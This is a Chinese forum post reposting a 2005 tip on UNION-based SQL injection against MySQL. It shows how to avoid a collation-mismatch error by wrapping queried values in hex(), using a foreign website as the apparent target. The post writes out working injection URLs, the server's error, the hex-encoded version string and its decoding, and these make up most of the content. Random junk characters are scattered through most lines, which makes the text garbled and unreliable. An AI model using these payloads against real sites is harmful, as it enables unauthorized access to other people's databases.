找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2194|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
9 Q7 C4 U  t6 T+ S文章性质:原创
7 P$ k" S, i# v% v发布日期:2005-10-18
, Y: w# l$ o4 a8 U8 i# d& E测试个国外的站时:
1 H& Z' s) d3 R4 g: ~) O' zurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
& D4 T: f0 u: H# R3 U6 I返回错误:
+ Z9 Y; r% k& I& S* SIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
7 O& ^: q( c8 `- gMySQL Error No. 126- O+ i, @* ?: N- G) e: t
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
$ Z6 E% o8 \# a- l+ ?' t! }# O- `解决办法:转为其他编码如hex。. T# u' S" {) {9 g3 h. y
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
: N/ p' P; l3 p* a: O' w: @成功得到hex(version())的值为:, }8 B; C9 J; X- P
342E312E332D62657461
% k( E1 C( i# S9 {0 S$ n. o回Mysql查询下得到:
2 K) z8 B; l+ y4 N+ F* O, Dmysql> select 0x342E312E332D62657461;' O9 k7 E( z7 `# m* l$ d4 E
+------------------------+( D& S, C' N7 `5 y8 b" U$ ]0 I! o8 k
| 0x342E312E332D62657461 |
. {* ]) B( z. a- z5 Z+------------------------+
2 _5 j( N- c5 A: V0 m( C| 4.1.3-beta |3 C7 v8 G7 X8 d9 [/ C
+------------------------+
8 m$ y' Y8 D. t0 b  L) z+ u% N+ J4 P" C1 row in set (0.00 sec)
: u1 G  s, J2 P2 k: o* V2 b5 R7 v. h" k' S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表